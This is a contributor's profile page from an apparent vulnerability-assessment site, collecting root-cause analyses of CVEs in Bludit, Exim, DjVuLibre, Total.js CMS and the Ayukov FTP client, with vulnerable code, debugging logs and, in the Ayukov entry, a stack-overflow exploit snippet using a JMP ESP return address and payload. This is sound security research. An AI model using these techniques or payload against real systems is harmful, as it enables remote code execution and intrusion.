wchen-r7 (160)

Last Login: October 22, 2019
Assessments
75
Score
160
2nd Place

wchen-r7's Contributions (75)

Sort by:
Filter by:
2
Ratings
  • Attacker Value
    Very High
  • Exploitability
    Very High
Technical Analysis

CVE-2019-16113 Bludit Directory Traversal Vulnerability

Description

Bludit is a web application written in PHP to build your own website or blog, free and open source. It uses files in JSON format to store the content, so it is configuration-free.

A vulnerability was found in the upload-images.php file, where a remote user could upload a fake image file that is actually a malicious PHP payload, and gain remote code execution.

Technical Analysis

The vulnerable file (upload-images.php) is written as follows:

<?php defined('BLUDIT') or die('Bludit CMS.');
header('Content-Type: application/json');
/*
| Upload an image to a particular page
|
| @_POST['uuid']	string	Page uuid
|
| @return		array
*/
// $_POST
// ----------------------------------------------------------------------------
$uuid = empty($_POST['uuid']) ? false : $_POST['uuid'];
// ----------------------------------------------------------------------------
// Set upload directory
if ($uuid && IMAGE_RESTRICT) {
	$imageDirectory = PATH_UPLOADS_PAGES.$uuid.DS;
	$thumbnailDirectory = $imageDirectory.'thumbnails'.DS;
	if (!Filesystem::directoryExists($thumbnailDirectory)) {
		Filesystem::mkdir($thumbnailDirectory, true);
	}
} else {
	$imageDirectory = PATH_UPLOADS;
	$thumbnailDirectory = PATH_UPLOADS_THUMBNAILS;
}
$images = array();
foreach ($_FILES['images']['name'] as $uuid=>$filename) {
	// Check for errors
	if ($_FILES['images']['error'][$uuid] != 0) {
		$message = $L->g('Maximum load file size allowed:').' '.ini_get('upload_max_filesize');
		Log::set($message, LOG_TYPE_ERROR);
		ajaxResponse(1, $message);
	}
	// Convert URL characters such as spaces or quotes to characters
	$filename = urldecode($filename);
	// Move from PHP tmp file to Bludit tmp directory
	Filesystem::mv($_FILES['images']['tmp_name'][$uuid], PATH_TMP.$filename);
	// Transform the image and generate the thumbnail
	$image = transformImage(PATH_TMP.$filename, $imageDirectory, $thumbnailDirectory);
	if ($image) {
		$filename = Filesystem::filename($image);
		array_push($images, $filename);
	} else {
		$message = $L->g('File type is not supported. Allowed types:').' '.implode(', ',$GLOBALS['ALLOWED_IMG_EXTENSION']);
		Log::set($message, LOG_TYPE_ERROR);
		ajaxResponse(1, $message);
	}
}
ajaxResponse(0, 'Images uploaded.', array(
	'images'=>$images
));
?>

The first thing that happens is that the code retrieves the “uuid” parameter from a POST request:

$uuid = empty($_POST['uuid']) ? false : $_POST['uuid'];

The uuid is used as part of the image directory path. If the path doesn’t exist, then it will be automatically created:

if ($uuid && IMAGE_RESTRICT) {
	$imageDirectory = PATH_UPLOADS_PAGES.$uuid.DS;
	$thumbnailDirectory = $imageDirectory.'thumbnails'.DS;
	if (!Filesystem::directoryExists($thumbnailDirectory)) {
		Filesystem::mkdir($thumbnailDirectory, true);
	}

Next, the code starts uploading the file by accessing the $_FILES variables. In here, the content of the uploaded item isn’t checked, which means even though the file expects an image file, it doesn’t actually have to be. A malicious PHP payload could be uploaded instead:

foreach ($_FILES['images']['name'] as $uuid=>$filename) {
  // ... code ...

Finally, the file is moved from PHP’s temp file to a custom tmp directory:

Filesystem::mv($_FILES['images']['tmp_name'][$uuid], PATH_TMP.$filename);

Even though the image upload is uploaded to Bluedit’s tmp directory, you can actually also upload a .htaccess file to allow the PHP payload to be accessed remotely, and gain remote code execution.

4
Ratings
  • Attacker Value
    Medium
  • Exploitability
    Medium
Technical Analysis

CVE-2019-16928: Exim EHLO Heap Overflow Vulnerability

Description

Exim is an open source mail transfer agent (MTA) designed for receiving, routing, and delivering email messages. It is mostly installed on Unix-like systems, sometimes Microsoft Windows using Cygwin. As of 2019, approximately 57% of the publicly reachable mail servers on the Internet ran Exim, therefore it is quite a popular software.

A vulnerability was found in Exim by a Chinese security team called QAX A-Team, specifically related to the string_vformat() function not resizing a heap buffer correctly, resulting a heap overflow. Proof-of-concept is publicly available, and remote code execution could be possible. Since Exim has been widely used on the Internet, media attention for the vulnerability was also high. More details about the potential impact can be found the Project Sonar research from Rapid7.

Technical Details

The Bug Report

Initial information about the vulnerability can be traced to a ticket on Exim’s BugZilla system, also known as #2449. In there, we can see that the vulnerability is described as a heap overflow in the string_vformat() function, which can be triggered with a EHLO command. A Python proof-of-concept is also available.

A commit for the fix can also be found under the exim-4.92.2+fixes branch, which is a simple one-line change to the size argument for the gstring_grow in file string.c:

// string.c:1593	
gstring_grow(g, g->ptr, width - (lim - g->ptr)); // Vulnerable version
gstring_grow(g, g->ptr, width);                  // Patched version

Now that the bug seems pretty legit, let’s go ahead and set up a box for debugging purposes.

Vulnerable Setup

The Exim source can be downloaded and compiled on a Unix-based machine. In my case, I set up a Ubuntu 18 box, with the following prepared:

sudo apt update && apt install build-essential clang libdb-dev libperl-dev libsasl2-dev libxt-dev libxaw7-dev

And then I got the 4.92.2 version:

wget http://exim.mirror.colo-serv.net/exim/exim4/old/exim-4.92.2.tar.xz

To build Exim, a Makefile needs to be created, and the easier way is by doing this in the Exim folder (also, remember to set the EXIM_USER option in the file):

cp src/EDITME Local/Makefile && cp exim_monitor/EDITME Local/eximon.conf

For debugging purposes, I compiled Exim as a “PIE” binary with AddressSanitizer:

CC=clang CFLAGS+=" -g -fPIC -fsanitize=address" ASAN_LIBS+="-static-libasan" ASAN_FLAGS+="-fsanitize=address -fno-omit-frame-pointer" FULLECHO='' LFLAGS+="-L/usr/lib/llvm-6.0/lib/clang/6.0.0/lib/linux/ -lasan -pie" ASAN_OPTIONS=detect_leaks=0:symbolize=1 LDFLAGS+=" -lasan -pie -ldl -lm -lcrypt" LD_PRELOAD+="/usr/lib/gcc/x86_64-linux-gnu/7/libasan.so" LIBS+="-lasan -pie" make -e clean all

Note: For some reason, I couldn’t really compile Exim with GCC with AddressSanitizer, and clang ended up being a much easier choice.

After that, the Exim binary can be found in the build-Linux-x86_64 directory. Typically, I prefer to verify that I compiled something correctly (such as PIE and ASAN states), so in this case I used pwntools to check this:

$ python pwntools/pwnlib/commandline/checksec.py exim-4.92.2/build-Linux-x86_64/exim
[*] '/home/wchen/Desktop/exim-4.92.2/build-Linux-x86_64/exim'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      PIE enabled
    ASAN:     Enabled

And finally, start Exim as a foreground process:

sudo build-Linux-x86_64/exim -bd -d

Code Analysis

Looking at the bug report, the patched code actually comes from a function called string_vformat. The purpose of it is to build or append to a custom string object that can automatically grow if necessary, and it is declared this way:

gstring* string_vformat(gstring * g, BOOL extend, const char *format, va_list ap)

The gstring argument is a custom structure that is defined in the structs.h file as follows (Line 29):

gstring structure (structs.h:29)

typedef struct gstring {
  int    size;        /* Current capacity of string memory */
  int    ptr;        /* Offset at which to append further chars */
  uschar * s;        /* The string memory */
} gstring;

The second argument for string_vformat is a boolean called extend. This is simply a flag that indicates whether the program wants the gstring to grow or not. And finally, there’s a format and va_list argument, which is similar to how sprint works.

The second argument is an important piece to the puzzle, because the vulnerable code requires it to be true in order to trigger. In this case, the string_vformat function needs to grow gstring in order to make room for the input that it’s handling, and then the gstring will tell the function which index to begin saving the new input. This idea can be demonstrated as below:

First, let’s say we have allocated a 10-byte buffer. Visually, the 00 (null byte) represents free space:

Index:   0  1  2  3  4  5  6  7  8  9
Buffer: [00 00 00 00 00 00 00 00 00 00]

Initially, let’s also say we already have some data in the buffer, a few “A” characters. At this point, the offset at which to append further chars would be index 5:

                        * Offset starts at 5
Index:   0  1  2  3  4  5  6  7  8  9
Buffer: [41 41 41 41 41 00 00 00 00 00]

Now, we have a scenario where the new input is a bunch of “B”s that is also 10-byte long:

char* input = "BBBBBBBBBB"; // In hex, these are 42 42 42...

To put that in the buffer, we need to grow it. So in theory what is new size for the adjusted buffer? The math is:

strlen(input) + offset;

After growing the buffer, it should look like this:

                        * 5 = offset value
Index:   0  1  2  3  4  5  6  7  8  9  10 11 12 13 14
Buffer: [41 41 41 41 41 00 00 00 00 00 00 00 00 00 00]

And finally, we have enough space to store the input:

                        * 5 = offset value
Index:   0  1  2  3  4  5  6  7  8  9  10 11 12 13 14
Buffer: [41 41 41 41 41 42 42 42 42 42 42 42 42 42 42]

Knowing this concept, it is much easier to understand the vulnerability. The reason of the overflow is because the size calculation is wrong. The gstring_grow function in Exim simply does not grow enough for gstring, as a result when it is storing the user supplied input from the EHLO command, it overflows, kind of like the following:

                        * 5 = offset value
Index:   0  1  2  3  4  5  6  7  8  9  10 11 12 13 14
Buffer: [41 41 41 41 41 42 42 42 42 42 42 42 42 42 42] 42 42 42 42 42 ...
                                                       ^ Overflow

Although the vulnerability requires additional buffer growth, not every call to string_vformat sets the extend flag too true. Looking around, it looks like there are many possible ways to trigger it:

  • There are at least five functions that directly call string_vformat with the extend flag to true.
  • One of them is called string_fmt_append, and this function is used by about 56 other places through out the code base.

The scope here would be too time consuming to determine the actual vulnerable path, but we can narrow this down by a lot. All we need to do is figure out when the input enters the code, until when the vulnerable code triggers, then we can look into that code path:

Input ---> Code path to be investigated ---> string_vformat with extend argument to TRUE

In the Exim log, we can get a hint on where the input sort of begins:

70289 SMTP>> 220 ubuntu ESMTP Exim 4.92.2 Fri, 04 Oct 2019 09:21:46 -0700
70289 Process 70289 is ready for new message
70289 smtp_setup_msg entered
70289 SMTP<< EHLO AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

Notice that we see a “smtp_setup_msg” message first, and then the EHLO with our input. So if we search for that message and find the function printing it, we have a starting point:

// smtp_in.c:3891
int smtp_setup_msg(void)
{
int done = 0;
BOOL toomany = FALSE;
BOOL discarded = FALSE;
BOOL last_was_rej_mail = FALSE;
BOOL last_was_rcpt = FALSE;
void *reset_point = store_get(0);

DEBUG(D_receive) debug_printf("smtp_setup_msg entered\n");
  // ... code ...

So now, I guess we are looking for this type of code path:

smtp_setup_msg() ---> Code path unknown --> string_vformat(gs, TRUE, format, ap);

This is the very vague version, but in reality the unknown code path is often a rabbit hole. A large codebase such as Exim definitely took me a lot of time to clean up the noises. One way to reverse engineer how point A might get to point B is by using some kind of flow graph. Honestly, I don’t know if there is a good one for C/C++ source code, but you certainly do this with a plugin called AlleyCat from IDA Pro.

This is the graph I got that that shows how smtp_setup_msg() could get to string_vformat:

alleycat_graph

Looking at this graph is kind of like finding a needle in a haystack, but if you use it like a map to aid code analysis, you’re less likely to get lost in the rabbit hole. What’s really funny is that out of this complex map, let me show you the actual path to trigger the vulnerable code:

found_path

In the end, we only need to look at three functions:

  1. smtp_setup_msg() in smtp_in.c
  2. string_fmt_append in string.c
  3. string_vformat() in string.c (the vulnerable function)

In order to trigger step 2 (the string_fmt_append function), a user_msg variable also needs to be null. The user_msg is set from a function called acl_check() (in acl.c). The null return value indicates the check returns OK, so that means our HELO needs to fail the ACL check.

Another requirement of the vulnerability is that if Exim is able to look up and resolve an IP address, then it would not trigger. For testing purposes, the easier way to clear your /etc/resolve.conf.

And finally, now with a good understanding of the vulnerable code path, we can verify all this with AddressSanitizer, and this concludes our analysis for CVE-2019-16928:

==56449==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x62500000c598 at pc 0x7f8cd18048f9 bp 0x7ffe0bb4dea0 sp 0x7ffe0bb4d630
WRITE of size 11294 at 0x62500000c598 thread T0
    #0 0x7f8cd18048f8 in __interceptor_vsprintf (/usr/lib/x86_64-linux-gnu/libasan.so.4+0x9e8f8)
    #1 0x7f8cd1804c86 in __interceptor_sprintf (/usr/lib/x86_64-linux-gnu/libasan.so.4+0x9ec86)
    #2 0x558f99fc796c in string_vformat /home/sinn3r/Desktop/exim-4.92.2/build-Linux-x86_64/string.c:1602
    #3 0x558f99df7ee5 in debug_vprintf /home/sinn3r/Desktop/exim-4.92.2/build-Linux-x86_64/debug.c:240
    #4 0x558f99df6a3a in debug_printf /home/sinn3r/Desktop/exim-4.92.2/build-Linux-x86_64/debug.c:165
    #5 0x558f99ebeb20 in host_build_sender_fullhost /home/sinn3r/Desktop/exim-4.92.2/build-Linux-x86_64/host.c:662
    #6 0x558f99f9801a in smtp_setup_msg /home/sinn3r/Desktop/exim-4.92.2/build-Linux-x86_64/smtp_in.c:4178
    #7 0x558f99df0236 in handle_smtp_call /home/sinn3r/Desktop/exim-4.92.2/build-Linux-x86_64/daemon.c:504
    #8 0x558f99dec11f in daemon_go /home/sinn3r/Desktop/exim-4.92.2/build-Linux-x86_64/daemon.c:2057
    #9 0x558f99e5b0e9 in main /home/sinn3r/Desktop/exim-4.92.2/build-Linux-x86_64/exim.c:4670
    #10 0x7f8cd0386b96 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x21b96)
    #11 0x558f99dc05b9 in _start (/home/sinn3r/Desktop/exim-4.92.2/build-Linux-x86_64/exim+0x1125b9)

0x62500000c598 is located 0 bytes to the right of 9368-byte region [0x62500000a100,0x62500000c598)
allocated by thread T0 here:
    #0 0x7f8cd1844b50 in __interceptor_malloc (/usr/lib/x86_64-linux-gnu/libasan.so.4+0xdeb50)
    #1 0x558f99fbb78b in store_malloc_3 /home/sinn3r/Desktop/exim-4.92.2/build-Linux-x86_64/store.c:544
    #2 0x558f99fba87c in store_get_3 /home/sinn3r/Desktop/exim-4.92.2/build-Linux-x86_64/store.c:167
    #3 0x558f99fbd6f1 in store_newblock_3 /home/sinn3r/Desktop/exim-4.92.2/build-Linux-x86_64/store.c:511
    #4 0x558f99fcaab0 in gstring_grow /home/sinn3r/Desktop/exim-4.92.2/build-Linux-x86_64/string.c:1163
    #5 0x558f99fc781b in string_vformat /home/sinn3r/Desktop/exim-4.92.2/build-Linux-x86_64/string.c:1597
    #6 0x558f99df7ee5 in debug_vprintf /home/sinn3r/Desktop/exim-4.92.2/build-Linux-x86_64/debug.c:240
    #7 0x558f99df6a3a in debug_printf /home/sinn3r/Desktop/exim-4.92.2/build-Linux-x86_64/debug.c:165
    #8 0x558f99ebeb20 in host_build_sender_fullhost /home/sinn3r/Desktop/exim-4.92.2/build-Linux-x86_64/host.c:662
    #9 0x558f99f9801a in smtp_setup_msg /home/sinn3r/Desktop/exim-4.92.2/build-Linux-x86_64/smtp_in.c:4178
    #10 0x558f99df0236 in handle_smtp_call /home/sinn3r/Desktop/exim-4.92.2/build-Linux-x86_64/daemon.c:504
    #11 0x558f99dec11f in daemon_go /home/sinn3r/Desktop/exim-4.92.2/build-Linux-x86_64/daemon.c:2057
    #12 0x558f99e5b0e9 in main /home/sinn3r/Desktop/exim-4.92.2/build-Linux-x86_64/exim.c:4670
    #13 0x7f8cd0386b96 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x21b96)

SUMMARY: AddressSanitizer: heap-buffer-overflow (/usr/lib/x86_64-linux-gnu/libasan.so.4+0x9e8f8) in __interceptor_vsprintf
Shadow bytes around the buggy address:
  0x0c4a7fff9860: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x0c4a7fff9870: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x0c4a7fff9880: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x0c4a7fff9890: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x0c4a7fff98a0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
=>0x0c4a7fff98b0: 00 00 00[fa]fa fa fa fa fa fa fa fa fa fa fa fa
  0x0c4a7fff98c0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0c4a7fff98d0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0c4a7fff98e0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0c4a7fff98f0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0c4a7fff9900: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
Shadow byte legend (one shadow byte represents 8 application bytes):
  Addressable:           00
  Partially addressable: 01 02 03 04 05 06 07 
  Heap left redzone:       fa
  Freed heap region:       fd
  Stack left redzone:      f1
  Stack mid redzone:       f2
  Stack right redzone:     f3
  Stack after return:      f5
  Stack use after scope:   f8
  Global redzone:          f9
  Global init order:       f6
  Poisoned by user:        f7
  Container overflow:      fc
  Array cookie:            ac
  Intra object redzone:    bb
  ASan internal:           fe
  Left alloca redzone:     ca
  Right alloca redzone:    cb
==56449==ABORTING

References

1
Ratings
  • Exploitability
    Very High
Technical Analysis

CVE-2019-15142: DjVuLibre UTF8 Out-of-Bound Read Vulnerability

Description

DJVuLibre is an open source library for DjVu, a web-centric format and software platform for distributing documents and images. According to the official site, it is used by many academic, commercial, government, and non-commercial websites around the world.

A vulnerability was found by researcher Hongxu Chen. An out-of-bound read is possible when parsing a DJVU file, resulting a denial-of-service condition.

Technical Details

In DjVmDir::decode of file DjVmDir.cpp, we have this block of code:

void
DjVmDir::decode(const GP<ByteStream> &gstr)
{
  // ... code ...
  // Line 292
      GTArray<char> strings;
      char buffer[1024];
      int length;
      while((length=bs_str.read(buffer, 1024)))
      {
         int strings_size=strings.size();
         strings.resize(strings_size+length-1);
         memcpy((char*) strings+strings_size, buffer, length);
      }
      DEBUG_MSG("size of decompressed names block=" << strings.size() << "\n");
      if (strings[strings.size()-1] != 0)
        {
         int strings_size=strings.size();
         strings.resize(strings_size+1);
         strings[strings_size] = 0;
        }
      
         // Copy names into the files
      const char * ptr=strings;
      for(pos=files_list;pos;++pos)
      {
         GP<File> file=files_list[pos];

         file->id=ptr;
  // ... code ...
}

We start with a custom GTArray named strings. It is used to store the user-provided byte stream, which we read up to 1024 bytes. While storing, the GTArray buffer gets resized before the data is copied:

      GTArray<char> strings;
      char buffer[1024];
      int length;
      while((length=bs_str.read(buffer, 1024)))
      {
         int strings_size=strings.size();
         strings.resize(strings_size+length-1);
         memcpy((char*) strings+strings_size, buffer, length);
      }

If the char array does not end with a null byte, a null byte is inserted (and size readjusted):

      if (strings[strings.size()-1] != 0)
        {
         int strings_size=strings.size();
         strings.resize(strings_size+1);
         strings[strings_size] = 0;
        }

Next, a reference of the GTArray is copied, and then this is used as a file ID according to this line:

         file->id=ptr;

The id member is actually a custom GUTF8String. It overrides the = operator, which the implementation can be found here:

// Line 2625 in GString.cpp
GUTF8String& GUTF8String::operator= (const char *str)
{ return init(GStringRep::UTF8::create(str)); }

The implementation for create() can be found here:

// Line 156 in GString.cpp
GP<GStringRep>
GStringRep::UTF8::create(const char *s)
{
  GStringRep::UTF8 dummy;
  return dummy.strdup(s);
}

The strdup function isn’t exactly the same as the original strdup in C/C++, in fact it is custom for UTF8. This is where the problem finally blows up. Although DjVmDir::decode is aware that a null byte is necessary at the end of the string, it is just a ASCII type null byte terminator, which is only one byte, but that’s not enough for UTF8. In other words, the null byte terminating routine in DjVmDir::decode does not really work. As a result, an off-by-one out-of-bound read condition could occur, which is proven in the AddressSanitizer bug report by Hongxu Chen:

==14708==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x6040000000f1 at pc 0x7fd31456a66e bp 0x7ffc59407e10 sp 0x7ffc594075b8
READ of size 1 at 0x6040000000f1 thread T0
    #0 0x7fd31456a66d  (/usr/lib/x86_64-linux-gnu/libasan.so.4+0x5166d)
    #1 0x7fd3141a5d5b in GStringRep::strdup(char const*) const /home/hongxu/FOT/djvulibre/djvu-djvulibre-git/libdjvu/GString.cpp:1017
    #2 0x7fd31419f474 in GStringRep::UTF8::create(char const*) /home/hongxu/FOT/djvulibre/djvu-djvulibre-git/libdjvu/GString.cpp:160
    #3 0x7fd3141b64fd in GUTF8String::operator=(char const*) /home/hongxu/FOT/djvulibre/djvu-djvulibre-git/libdjvu/GString.cpp:2626
    #4 0x7fd314054dbb in DjVmDir::decode(GP<ByteStream> const&) /home/hongxu/FOT/djvulibre/djvu-djvulibre-git/libdjvu/DjVmDir.cpp:315
    #5 0x7fd3140c0b54 in display_djvm_dirm /home/hongxu/FOT/djvulibre/djvu-djvulibre-git/libdjvu/DjVuDumpHelper.cpp:172
    #6 0x7fd3140c2a64 in display_chunks /home/hongxu/FOT/djvulibre/djvu-djvulibre-git/libdjvu/DjVuDumpHelper.cpp:335
    #7 0x7fd3140c2b1f in display_chunks /home/hongxu/FOT/djvulibre/djvu-djvulibre-git/libdjvu/DjVuDumpHelper.cpp:342
    #8 0x7fd3140c31f0 in DjVuDumpHelper::dump(GP<ByteStream>) /home/hongxu/FOT/djvulibre/djvu-djvulibre-git/libdjvu/DjVuDumpHelper.cpp:361
    #9 0x562f0317dba7 in display(GURL const&) /home/hongxu/FOT/djvulibre/djvu-djvulibre-git/tools/djvudump.cpp:128
    #10 0x562f0317e35d in main /home/hongxu/FOT/djvulibre/djvu-djvulibre-git/tools/djvudump.cpp:178
    #11 0x7fd3135fbb96 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x21b96)
    #12 0x562f0317d909 in _start (/home/hongxu/FOT/djvulibre/djvu-djvulibre-git/install/bin/djvudump+0x3909)

0x6040000000f1 is located 0 bytes to the right of 33-byte region [0x6040000000d0,0x6040000000f1)
allocated by thread T0 here:
    #0 0x7fd3145f9458 in operator new(unsigned long) (/usr/lib/x86_64-linux-gnu/libasan.so.4+0xe0458)
    #1 0x7fd31415c17c in GArrayBase::resize(int, int) /home/hongxu/FOT/djvulibre/djvu-djvulibre-git/libdjvu/GContainer.cpp:220
    #2 0x7fd31405ede4 in GArrayTemplate<char>::resize(int) /home/hongxu/FOT/djvulibre/djvu-djvulibre-git/libdjvu/GContainer.h:496
    #3 0x7fd314054aff in DjVmDir::decode(GP<ByteStream> const&) /home/hongxu/FOT/djvulibre/djvu-djvulibre-git/libdjvu/DjVmDir.cpp:298
    #4 0x7fd3140c0b54 in display_djvm_dirm /home/hongxu/FOT/djvulibre/djvu-djvulibre-git/libdjvu/DjVuDumpHelper.cpp:172
    #5 0x7fd3140c2a64 in display_chunks /home/hongxu/FOT/djvulibre/djvu-djvulibre-git/libdjvu/DjVuDumpHelper.cpp:335
    #6 0x7fd3140c2b1f in display_chunks /home/hongxu/FOT/djvulibre/djvu-djvulibre-git/libdjvu/DjVuDumpHelper.cpp:342
    #7 0x7fd3140c31f0 in DjVuDumpHelper::dump(GP<ByteStream>) /home/hongxu/FOT/djvulibre/djvu-djvulibre-git/libdjvu/DjVuDumpHelper.cpp:361
    #8 0x562f0317dba7 in display(GURL const&) /home/hongxu/FOT/djvulibre/djvu-djvulibre-git/tools/djvudump.cpp:128
    #9 0x562f0317e35d in main /home/hongxu/FOT/djvulibre/djvu-djvulibre-git/tools/djvudump.cpp:178
    #10 0x7fd3135fbb96 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x21b96)

It seems the vulnerability falls under the local attack category, therefore an out-of-bound read type vulnerability would not be directly threatening to the system. In our case specifically, it looks like the extra read would actually cause a crash somewhere in the decode() function.

2
Technical Analysis

CVE-2019-15954: Total.js CMS 12 Widget Remote Code Execution

Introduction

Total.js is a Node.js Framework for building e-commerce applications, REST services, real-time apps, or apps for Internet of Things (IoT), etc. Total.js CMS is a Content Management System (application) that is part of the Total.js framework. A commercial version is also available, and can be seen used world-wide.

In Total.js CMS, a user with admin permission may be able to create a widget, and extend CMS functionalities for visitors. However, this can also be abused to upload JavaScript code that will be evaluated server side. As a result, it is possible to embed malicious JavaScript in the new widget, and gain remote code execution.

Technical Analysis

In the CVE advisory, we know that the vulnerability is associated with widget creation, so this is where we start the analysis. To do this, I looked for the keyword “New widget” because that is on the widget creation page, and very quickly I found the HTML page for that, as well as the JavaScript located at:

  • cms/themes/admin/public/forms/widgets.html
  • cms/schemas/widgets.js

The widgets.html file is what you actually look at when you’re adding a new widget from the GUI. After filling out the fields, you would click on the “Save” button, which in HTML is this:

<button name="submit">@(SAVE)</button>

And the button function is handled by the following code:

exports.submit = function(com) {
  SETTER('loading', 'show');
  AJAX('POST [url]api/widgets/ REPEAT', GETR('widgets.form'), function(response) {
    SETTER('loading', 'hide', 1000);
    if (response.success) {
      SETTER('snackbar', 'success', '@(Widget has been saved successfully.)');
      EXEC('widgets/refresh');
      com.hide();
    }
  });
};

The following URI is important because it tells us the route:

AJAX('POST [url]api/widgets/ REPEAT' ...

The route map can be found in admin.js, and our code indicates we are looking at this route:

// MODEL: /schema/widgets.js
// ... Other routes ...
ROUTE('POST    #admin/api/widgets/                        *Widget --> @save');
// ... Other routes...

The JavaScript comment actually reveals which JS file is responsible for the widgets routes, so clearly we need to be looking at widgets.js. The route also indicates we should be looking at a save function, which links to setSave, which starts the saving process.

During the saving process, it goes through a refreshing stage (in the refresh function). Although there is a lot going on, the most interesting line is this:

var obj = compile(item.body); // Line 309 (widgets.js)

The compile function parses the source code for the new widget. Apparently, the JavaScript tag is a bit customized, for example, this isn’t the standard JavaScript tag prefix, it is more specific to Total.JS:

var body = html.substring(beg, end);
var beg = body.indexOf('>') + 1;
var type = body.substring(0, beg);

body = body.substring(beg);
raw = raw.replace(type + body + '</script>', '');

body = body.trim();

if (type.indexOf('html') !== -1 || type.indexOf('plain') !== -1)
  body_template = body;
else if (type.indexOf('total') !== -1 || type.indexOf('totaljs') !== -1)
  body_total = body;
else if (type.indexOf('editor') !== -1)
  body_editor = body;
else
  body_script = body;

After parsing, the code could be stored in a few different ways. Specifically we want to watch where these are going in code:

// Around line 258 in widgets.js
obj.js = body_script;
// ... code ...
obj.editor = body_editor;
// ... code ...
obj.template = body_template;
// ... code ...
obj.total = body_total;
// ... code ...

So that’s pretty much for the compile function, and back to the refresh function. Now that we have the parsed code, let’s see what refresh is doing with the object members we’re interested in watching. Well, there are some interesting ones, for example, this is what happens to obj.total:

if (obj.total) {
  var o = new WidgetInstace();
  try {
    (new Function('exports', obj.total))(o);
  } catch (e) {
    WARNING.message = 'Widget <b>{0}</b> exception: <b>{1}</b>'.format(item.name, e.message);
    ADMIN.notify(WARNING);
  }
  obj.total = o;
  rebuild = true;
}

As you can see here, if we have a JavaScript code block that starts like this:

<script total>
  // ... something ...
</script>

Then that code goes to obj.total, and that gets executed as a new function. To mimic that code execution, open up the Developer’s Tools in your browser, enter the following (which is basically what the code above is doing):

function WidgetInstance() {}
var o = new WidgetInstance();
(new Function('exports', 'console.log("Hello World!");'))(o);

And you should see that console.log is executed (which represents the user-provided script):

> function WidgetInstance() {}
var o = new WidgetInstance();
(new Function('exports', 'console.log("Hello World!");'))(o);
> VM33:3 Hello World!
1
Technical Analysis

Details

Ayukov is an FTP client that was written by Sergey Ayukov back in 1994. Development stopped in 2011, and it is vulnerable to a stack-based buffer overflow vulnerability due to the way it handles the server input. The exploit was tested on Windows XP SP3 (English).

PoC

Here’s an example of how to crash the FTP client:

  # Let the client log in
  client.get_once

  user = "331 OK.\r\n"
  client.put(user)

  client.get_once
  pass = "230 OK.\r\n"
  client.put(pass)

  sploit = "A"*4116
  sploit << [target.ret].pack('V') # JMP ESP here
  sploit << "\x90"*16
  sploit << payload.encoded
  sploit << "C" * (15000 - 4116 - 4 - 16 - payload.encoded.length)
  sploit << "\r\n"

  client.put(sploit)

  client.get_once
  pwd = "257\r\n"
  client.put(pwd)
  client.get_once

Root Cause Analysis

When serving the PoC against the vulnerable app, the client’s command prompt shows:

12:28:43 331 OK.
12:28:43 USER anonymous
12:28:43 230 OK.
12:28:43 Successfully logged in as 'anonymous@192.168.0.12'
12:28:43 SYST
12:28:43 .................. Lots of AAAAAs here .....................
12:28:43 TYPE I
12:28:43 257

The interesting part here is that when the client sends a SYST request, the server responds
with a long string of data attempting to cause a crash. This would be a good starting point to
investigate the root cause.

With IDA Pro, we can tell that the SYST string is at the following location:

.text:004096B6 ; char aSyst[]
.text:004096B6 aSyst           db 'SYST',0             ; DATA XREF: sub_409978+B8Co

When we cross reference, we can tell this is used by the OpenControlConnection function.
Although there is no symbol to identify the actual function name “OpenControlConnection”, the
debugging message at the beginning of the function is a big hint:

int __usercall OpenControlConnection@<eax>(int a1@<ebx>, int a2@<edi>, int a3@<esi>)
{
  sub_45AF40(savedregs);
  *(_DWORD *)&name.sa_data[10] = a2;
  *(_DWORD *)&name.sa_data[6] = a3;
  *(_DWORD *)&name.sa_data[2] = a1;
  if ( !dword_477AEC )
    sub_419B4C(1);
  while ( 1 )
  {
    while ( 1 )
    {
      do
      {
        sub_403484("begin OpenControlConnection()\n", charResBuffer[4088]);
        ...

Anyway, inside the OpenControlConnection function, we can see that the SYST command is
requested here for SendFTPRequest (no symbol of clue of the name, I just decided to name it this
way):

.text:0040A504                 push    offset aSyst    ; "SYST"
.text:0040A509                 lea     eax, [ebp+charResBuffer]
.text:0040A50F                 push    eax             ; charResBuffer
.text:0040A510                 lea     eax, [ebp+args]
.text:0040A516                 push    eax             ; int
.text:0040A517                 push    0               ; int
.text:0040A519                 call    SendFTPRequest

Inside the SendFTPRequest function, it looks like this:

int SendFTPRequest(int a1, int arg_4, char *charResBuffer, char *Format, ...)
{
  char *v4; // ebx@0
  int v5; // edi@0
  int v6; // esi@0
  char *v7; // edx@1
  char Dst[16384]; // [esp+18h] [ebp-4000h]@2
  char *savedregs; // [esp+4018h] [ebp+0h]@1
  va_list va; // [esp+4030h] [ebp+18h]@1

  va_start(va, Format);
  sub_45AF40(savedregs);
  savedregs = v4;
  v7 = Format;
  if ( Format )
  {
    v4 = Dst;
    // This actually checks the input for the FTP command from the client.
    // The 0x4000u indicates the string should not be longer than that, otherwise
    // there will be a buffer overflow warning in this function.
    snprintf1(Dst, 0x4000u, Format, va);
    v7 = Dst;
  }
  return SendReceive((int)v4, v5, v6, a1, arg_4, charResBuffer, v7);
}

We were able to tell the second argument for SendFTPRequest is actually a buffer for receiving
the server’s response, because the way it is used:

result = SendFTPRequest(0, (int)args, charResBuffer, "SYST");
if ( result == -4 )
  return result;
if ( result )
  goto LABEL_231;
if ( *(_DWORD *)args == 2 )
{
  sub_445CEC(charResBuffer);
  if ( strstr(charResBuffer, "unix") )
  {
